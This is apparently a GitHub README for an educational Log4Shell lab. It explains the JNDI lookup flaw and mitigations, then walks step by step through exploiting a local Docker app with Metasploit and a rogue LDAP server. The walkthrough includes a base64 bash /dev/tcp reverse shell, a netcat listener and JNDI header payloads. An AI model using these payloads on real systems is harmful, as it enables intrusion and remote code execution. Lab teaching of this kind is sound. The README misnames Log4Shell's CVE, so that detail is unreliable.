Skip to content

tdekeyser/log4shell-lab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

22 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Log4Shell lab

This tutorial, including all code and documentation, is provided for educational and research purposes only. It aims to enhance understanding of cybersecurity vulnerabilities, defensive strategies, and the importance of maintaining secure systems. The demonstration of the Log4Shell vulnerability is intended to inform developers, security professionals, and educational institutions about the risks and mitigation techniques related to this and similar vulnerabilities.

The Log4Shell exploit (CVE-2021-44832) targets a vulnerability in the Apache Log4j logging library, allowing remote code execution by manipulating log messages. Specifically, the exploit involves the use of a malicious LDAP server to inject arbitrary code into a vulnerable Java application via JNDI lookups.

Log4j uses Java Naming and Directory Interface (JNDI) to enable dynamic logging configuration based on resources located through naming and directory services. It allows log messages to include lookup patterns that can retrieve data from various sources, such as LDAP or DNS.

When a user input or a specific HTTP header (like User-Agent) that contains a JNDI lookup string is logged by the vulnerable application, the Log4j library processes this string and performs a lookup to the specified LDAP server. In this exploit, the attacker's LDAP server responds with a payload that leads to the execution of arbitrary code on the application server.

The payload is a Java gadget chain that leverages a Java deserialisation vulnerability. The gadget chain involves invoking methods on serialised objects that execute arbitrary code upon deserialisation, leveraging existing classes in the application's classpath to bypass security checks and gain remote code execution. For more information on choosing which gadget to use to effectively gain code execution on the victim, see here.

Vulnerability fix

As reported by NIST, Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases) are vulnerable. Avoid using any of these versions explicitly, or as a transitive dependency from other packages. The vulnerability is addressed in log4j-core version 2.16.0 and later.

For applications that cannot be immediately updated, modify the Log4j configuration to disable JNDI lookups. This can be achieved by setting the system property log4j2.formatMsgNoLookups to true or by removing the JNDI lookup class from the classpath.

The vulnerability is independent of Java versions, so any Java runtime that uses a vulnerable Log4j can be exploited.

Lab

Package the vulnerable application with Gradle.

tom@MacBook:~/log4shell-lab/vulnerable-app# ./gradlew bootJar

Run it in a Docker container.

tom@MacBook:~/log4shell-lab# docker-compose up

We can verify that the application is vulnerable to CVE-2021-44832 by including the lookup string ${java:os} in the login page at http://localhost:8080.

The logs show that the lookup string is resolved.

Finding the vulnerability

Use the Metasploit module scanner/http/log4shell_scanner. The scanner finds the vulnerable User-Agent header from the POC application.

msf6> use auxiliary/scanner/http/log4shell_scanner
msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS localhost
msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080
msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST en0
msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVPORT 1389
msf6 auxiliary(scanner/http/log4shell_scanner) > run

[+] ::1:8080              - Log4Shell found via / (header: User-Agent) (os: Linux 6.6.12-linuxkit unknown, architecture: aarch64-64) (java: Oracle Corporation_11.0.16)

Automated exploitation with Metasploit

Metasploit has a couple of modules for automated exploitation. For header injection we can use the module exploit/multi/http/log4shell_header_injection.

To work on the lab environment, we use the following options. Replace the LHOST and SRVHOST variables with the Docker host IP. The lab environment uses Java 11 so we will use the Java gadget "BeanFactory".

set HTTP_HEADER User-Agent
set RHOSTS 127.0.0.1
set RPORT 8080
set LHOST en0
set LPORT 4444
set SRVHOST en0
set SRVPORT 1389
set target 2
set JAVA_GADGET_CHAIN BeanFactory
set ForceExploit true

Run the exploit and we get shell access.

msf6 exploit(multi/http/log4shell_header_injection) > exploit

[*] Started reverse TCP handler on 192.168.5.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 127.0.0.1:8080        - Log4Shell found via / (header: User-Agent) (os: Linux 6.6.12-linuxkit unknown, architecture: aarch64-64) (java: Oracle Corporation_11.0.16)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[*] Server stopped.
[+] The target is vulnerable.
[*] Command shell session 3 opened (192.168.5.2:4444 -> 192.168.5.5:40058) at 2024-02-17 16:17:43 +0100
[*] Server stopped.

id
uid=0(root) gid=0(root) groups=0(root)

Manual exploit

Prepare a malicious LDAP server for JNDI injection attacks, for example rogue-jndi. The Java version used to build the project does not need to correspond to the version running the vulnerable application.

The malicious LDAP server is configured to receive a specific command sequence. This command is then embedded into the code that is dynamically compiled and executed by the victim's system, effectively allowing the attacker's code to run on the target machine.

bash -c {echo,$base64EncodedCommand}|{base64,-d}|{bash,-i}

The variable base64EncodedCommand will contain a bash TCP reverse shell connecting to the host IP 192.168.5.2 at port 443.

tom@MacBook:~/workspace/security/rogue-jndi# echo 'bash -c bash -i >& /dev/tcp/192.168.5.2/443 0>&1' | base64
YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNS4yLzQ0MyAwPiYxCg==

Start the malicious LDAP server with the embedded command.

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNS4yLzQ0MyAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "192.168.5.2" --httpPort 8888

Start a Netcat listener on the attacker.

nc -lnvp 443

Trigger the exploit by using a JNDI lookup string that targets our malicious LDAP server.

${jndi:ldap://192.168.5.2:1389/o=tomcat}

The vulnerable application has two vulnerable parameters. The exploit can be triggered via the username field or via the User-Agent header.

GET / HTTP/1.1
Host: localhost:8080
User-Agent: ${jndi:ldap://192.168.5.2:1389/o=tomcat}

We get a shell connection into the Docker container.

Resources

About

Demonstration of the Log4Shell vulnerability

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published